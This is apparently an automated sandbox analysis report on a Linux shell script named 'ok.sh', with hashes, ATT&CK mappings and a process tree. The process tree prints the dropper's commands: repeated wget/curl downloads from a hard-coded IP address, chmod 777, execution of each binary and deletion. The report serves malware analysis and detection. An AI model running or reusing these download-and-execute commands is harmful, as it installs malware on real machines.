0bc48fac258a22005d50c4ec4e241c7eab82b4953a7452d0fa91af6fb7c738bc

Analysis

max time kernel
8s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/09/2026, 09:22

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General

Target
ok.sh
Size 1KB
Sample260902-lb2ayaydrg
SHA256 0bc48fac258a22005d50c4ec4e241c7eab82b4953a7452d0fa91af6fb7c738bc
MD5 d6dc1d7159e6ea6a8b744f057c38b3fc
SHA1 d8cef72f44350edbe9e5ea946f376f0556bdb003
SHA512 089746150e75c8466ebd7c40ca91a2dcd54e1ca24773fefdbfc2bfbebef6829d20f04b81f9d8fbf78a93c9cdc304406f42dfd9cc71d33795866678968abc005c
TLSH
T1DF3196CB10451A331143D99E77A3794C724DA1FB284FDBE4DC481DAA824978CF269F28
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
726	chmod
758	chmod
765	chmod
780	chmod
816	chmod
685	chmod
703	chmod
750	chmod
803	chmod
823	chmod
670	chmod
678	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/79c793	672	ok.sh
/tmp/e358fd	679	ok.sh
/tmp/9a0095	686	ok.sh
/tmp/36d77d	704	ok.sh
/tmp/51ab96	728	ok.sh
/tmp/b39307	752	ok.sh
/tmp/f69393	759	ok.sh
/tmp/05452f	766	ok.sh
/tmp/d7013f	782	ok.sh
/tmp/c9ef3e	804	ok.sh
/tmp/0317c4	817	ok.sh
/tmp/ddaffe	824	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/36d77d	curl
File opened for modification	/tmp/b39307	curl
File opened for modification	/tmp/05452f	curl
File opened for modification	/tmp/d7013f	curl
File opened for modification	/tmp/0317c4	curl
File opened for modification	/tmp/ddaffe	curl
File opened for modification	/tmp/79c793	curl
File opened for modification	/tmp/9a0095	curl
File opened for modification	/tmp/51ab96	curl
File opened for modification	/tmp/f69393	curl
File opened for modification	/tmp/c9ef3e	curl
File opened for modification	/tmp/e358fd	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:641
- /usr/bin/wget
  wget http://5.182.210.174/79c793
  2⤵
  PID:646
- /usr/bin/curl
  curl -O http://5.182.210.174/79c793
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:662
- /bin/chmod
  chmod 777 79c793
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /tmp/79c793
  ./79c793 bc
  2⤵
  PID:672
- /bin/rm
  rm -rf 79c793
  2⤵
  PID:674
- /bin/rm
  rm -rf 79c793.1
  2⤵
  PID:675
- /usr/bin/wget
  wget http://5.182.210.174/e358fd
  2⤵
  PID:676
- /usr/bin/curl
  curl -O http://5.182.210.174/e358fd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 e358fd
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/e358fd
  ./e358fd bc
  2⤵
  PID:679
- /bin/rm
  rm -rf e358fd
  2⤵
  PID:681
- /bin/rm
  rm -rf e358fd.1
  2⤵
  PID:682
- /usr/bin/wget
  wget http://5.182.210.174/9a0095
  2⤵
  PID:683
- /usr/bin/curl
  curl -O http://5.182.210.174/9a0095
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 9a0095
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/9a0095
  ./9a0095 bc
  2⤵
  PID:686
- /bin/rm
  rm -rf 9a0095
  2⤵
  PID:688
- /bin/rm
  rm -rf 9a0095.1
  2⤵
  PID:689
- /usr/bin/wget
  wget http://5.182.210.174/36d77d
  2⤵
  PID:690
- /usr/bin/curl
  curl -O http://5.182.210.174/36d77d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:695
- /bin/chmod
  chmod 777 36d77d
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/36d77d
  ./36d77d bc
  2⤵
  PID:704
- /bin/rm
  rm -rf 36d77d
  2⤵
  PID:707
- /bin/rm
  rm -rf 36d77d.1
  2⤵
  PID:708
- /usr/bin/wget
  wget http://5.182.210.174/51ab96
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://5.182.210.174/51ab96
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod 777 51ab96
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/51ab96
  ./51ab96 bc
  2⤵
  PID:728
- /bin/rm
  rm -rf 51ab96
  2⤵
  PID:730
- /bin/rm
  rm -rf 51ab96.1
  2⤵
  PID:732
- /usr/bin/wget
  wget http://5.182.210.174/b39307
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://5.182.210.174/b39307
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 b39307
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/b39307
  ./b39307 bc
  2⤵
  PID:752
- /bin/rm
  rm -rf b39307
  2⤵
  PID:754
- /bin/rm
  rm -rf b39307.1
  2⤵
  PID:755
- /usr/bin/wget
  wget http://5.182.210.174/f69393
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://5.182.210.174/f69393
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/chmod
  chmod 777 f69393
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/f69393
  ./f69393 bc
  2⤵
  PID:759
- /bin/rm
  rm -rf f69393
  2⤵
  PID:761
- /bin/rm
  rm -rf f69393.1
  2⤵
  PID:762
- /usr/bin/wget
  wget http://5.182.210.174/05452f
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://5.182.210.174/05452f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod 777 05452f
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/05452f
  ./05452f bc
  2⤵
  PID:766
- /bin/rm
  rm -rf 05452f
  2⤵
  PID:768
- /bin/rm
  rm -rf 05452f.1
  2⤵
  PID:769
- /usr/bin/wget
  wget http://5.182.210.174/d7013f
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://5.182.210.174/d7013f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 d7013f
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/d7013f
  ./d7013f bc
  2⤵
  PID:782
- /bin/rm
  rm -rf d7013f
  2⤵
  PID:785
- /bin/rm
  rm -rf d7013f.1
  2⤵
  PID:786
- /usr/bin/wget
  wget http://5.182.210.174/c9ef3e
  2⤵
  PID:787
- /usr/bin/curl
  curl -O http://5.182.210.174/c9ef3e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 c9ef3e
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/c9ef3e
  ./c9ef3e bc
  2⤵
  PID:804
- /bin/rm
  rm -rf c9ef3e
  2⤵
  PID:807
- /bin/rm
  rm -rf c9ef3e.1
  2⤵
  PID:809
- /usr/bin/wget
  wget http://5.182.210.174/0317c4
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://5.182.210.174/0317c4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 0317c4
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/0317c4
  ./0317c4 bc
  2⤵
  PID:817
- /bin/rm
  rm -rf 0317c4
  2⤵
  PID:819
- /bin/rm
  rm -rf 0317c4.1
  2⤵
  PID:820
- /usr/bin/wget
  wget http://5.182.210.174/ddaffe
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://5.182.210.174/ddaffe
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod 777 ddaffe
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/ddaffe
  ./ddaffe bc
  2⤵
  PID:824
- /bin/rm
  rm -rf ddaffe
  2⤵
  PID:826
- /bin/rm
  rm -rf ddaffe.1
  2⤵
  PID:827

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

79c793

Path /tmp/79c793
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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